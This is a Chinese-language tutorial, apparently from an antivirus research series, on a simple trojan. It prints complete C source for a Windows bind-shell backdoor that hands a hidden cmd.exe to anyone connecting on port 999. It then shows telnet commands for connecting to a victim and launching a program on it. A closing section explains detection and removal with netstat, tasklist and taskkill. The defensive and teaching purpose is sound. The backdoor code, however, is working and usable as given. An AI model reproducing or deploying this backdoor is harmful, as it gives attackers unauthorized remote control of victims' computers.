標籤:木馬 薑曄 安全 病毒 遠程登入
一、前言
病毒與木馬技術發展到今天,由於二者總是相輔相成,你中有我,我中有你,所以它們之間的界限往往已經不再那麼明顯,相互之間往往都會採用對方的一些技術以達到自己的目的,所以現在很多時候也就將二者直接統稱為“惡意代碼”。這次我打算用兩篇文章的篇幅來討論病毒與簡單的木馬相互結合的分析與防範方法。本篇也就是第一篇,討論的是利用只有伺服器端的木馬程式實現“病毒”的啟動。而在下一篇中,我會討論既有伺服器端又有用戶端的木馬程式與“病毒”相結合的分析與防範。
二、簡單木馬的原理
由於木馬技術與電腦網路息息相關,所以也就離不開Socket通訊端編程。這裡我不打算詳述Socket通訊端編程的細節,這個在MSDN上有非常詳細的講述,無非就是根據通訊端的編程的流程,將相應的內容填入“模板”。而既然要實現通訊的效果,就需要遵循一個通訊模型,木馬一般都是C/S(用戶端/服務端)模式的。本篇文章所要論述的,雖然不涉及用戶端的編寫,但實際上我只不過是把cmd程式當成了用戶端,因此本質上還是C/S模式的。
C/S模型的開發,需要在伺服器端(欲攻擊的電腦)上綁定一個IP地址和一個連接埠號碼,然後進行監聽,等待用戶端(攻擊方)的串連。用戶端則是向相應的IP地址和連接埠號碼發起串連,伺服器端接受後,雙方就可以開始進行通訊,這就是基於TCP協議的通訊,也是接下來要用到的方法。另外還有一種基於UDP協議的方法,這種方法是在伺服器端進行相應的綁定後,用戶端不需要進行串連直接就可以和伺服器進行通訊。可見,TCP要比UDP可靠,而UDP要比TCP效率高。
本篇文章所論述的伺服器端編程的基本原理如下:
1、開啟一通訊通道(綁定某個連接埠)並告知本地主機,它在某一個地址上接收客戶請求。可以採用socket和bind函數實現。
2、等待使用者請求到達該連接埠。利用listen函數實現。
3、接收到服務要求,處理該請求並發送應答訊號。利用accept函數實現。
4、返回第二步,等待其他客戶的請求。
5、關閉串連。利用closesocket函數實現。
以上所使用的函數順序如下:
socket()→bind()→listen()→accept()→closesocket()
三、木馬的編程實現
當伺服器端運行這個程式後,用戶端可以利用telnet向伺服器端發起串連,成功後自動開啟cmd視窗,就可以通過DOS命令來直接控制伺服器端的目標電腦,代碼如下:
#pragma comment(lib,"ws2_32.lib")#include <winsock2.h>#include <windows.h>#define MasterPort 999 //欲利用的連接埠號碼int main(){ WSADATA WSADa; sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; //初始化資料 ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO)); ZeroMemory(&WSADa,sizeof(WSADATA)); //擷取CMD路徑 GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //載入ws2_32.dll WSAStartup(0x0202,&WSADa); //設定本地資訊和綁定協議,建立Socket SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //設定綁定連接埠999 bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //設定伺服器端監聽連接埠 listen(CSocket,1); iAddrSize = sizeof(SockAddrIn); //開始串連遠程伺服器,並配置隱藏視窗結構體 SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; //建立匿名管道 CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE); //關閉進程控制代碼 CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //關閉通訊端 closesocket(CSocket); closesocket(SSocket); //釋放ws2_32.dll動態連結程式庫 WSACleanup(); return 0;} 由於代碼比較簡單,這裡不再進行分析。
四、木馬與“病毒”的結合利用 之前文章所討論的“病毒”的自啟動方式,都是需要藉助於“外力”作用,而這次我的“病毒”則是通過植入木馬,串連成功後輸入DOS命令來啟動,但是前提是木馬需要先啟動。這裡我用了兩台電腦(也可以使用虛擬機器),一台是用戶端,一台是伺服器端,伺服器端已經放置了木馬程式,現在就在伺服器端執行該木馬。之後在用戶端中開啟cmd程式,輸入:
telnet 192.168.1.107 999
這句命令的意思是通過telnet進行遠程登入,串連到ip地址為192.168.1.107的電腦上的999號連接埠。成功後就可以發現已經串連到了對方的電腦上:
圖1 串連到遠端電腦
那麼此時就可以通過DOS命令對目標電腦進行控制。這裡假設目標電腦的E盤根目錄下儲存有我之前編寫的Hacked.exe程式,那麼可以通過輸入如下命令進行運行:
start e:\hacked.exe
此時Hacked.exe程式已經在目標電腦上執行,顯示如下:
圖2 在目標電腦上啟動Hacked.exe
當然,我這裡是假設Hacked.exe已放入對方的電腦,這個前提會有諸多的限制,因為更好的方法是將Hacked.exe程式由用戶端傳到伺服器端再進行啟動。不過,由於這個方法比較危險,為了避免別有用心的人拿它去做不軌的事情,因此不再深入討論。我的原則始終是以討論如何更好地防範惡意程式為主,而對於惡意代碼的實現,也就是點到為止。無需多加討論的,堅決不進行深入探討。
五、木馬的查殺 上述代碼所實現的是一個比較簡單的正向串連後門程式,並沒有添加進程隱藏功能,也沒有增加啟動項目,也就是說,當伺服器端電腦重新啟動後,這個木馬就失效了,需要重新運行才可以。我這裡講講如何手動查殺。當伺服器端被植入木馬後,伺服器端可以進入cmd(若cmd被映像劫持可參考我之前的文章),然後輸入命令:
netstat –ano
這個命令可以查看當前的網路連接狀態,:
圖3 查看網路連接狀態
在圖中可以看到,本地連接埠999與IP地址為192.168.1.104的主機建立了TCP串連,而且也可以看到進程的ID值為1292(每次啟動木馬的PID值可能不一樣)。對於一般的木馬來說,在命令提示字元下就可以實現“查”的操作,隨著以後討論的深入,木馬複雜度會不斷加深,我可能會使用專業查殺工具或者採用自製的工具實現“查”的功能。
利用PID值可以查看進程的檔案名稱,輸入:
tasklist | find “1292”
就可以知道PID值為1292的進程的名稱為“MiniTrojan.exe”。之後使用PID值就能夠將木馬進程從電腦中刪除,這裡用taskkill命令:
taskkill /f /pid 1292 /t
這句命令的意思是,強制(/f)終止PID值為1292 的進程和任何由此啟動的進程(/t)。最後一步是找到MiniTrojan.exe的位置,並刪除,就能夠徹底將木馬趕出電腦了,這裡不再贅述。
六、小結
這篇文章所講的木馬程式需要在cmd下運行,儘管遠不形介面直觀,但是這小小的木馬,也能夠造成很大的威脅了。不過,這畢竟是一匹“小馬”,採用簡單的DOS命令就能夠查殺,還是很好對付的。其實手動查殺病毒木馬的流程就是這樣,查木馬病毒往往需要經驗,需要敏銳的嗅覺,之後的“殺”的階段,需要先把病毒木馬的進程結束掉,然後才能刪掉其主程式。即便是複雜的惡意程式,基本上也是這個原理。
反病毒攻防研究第007篇:簡單木馬分析與防範part1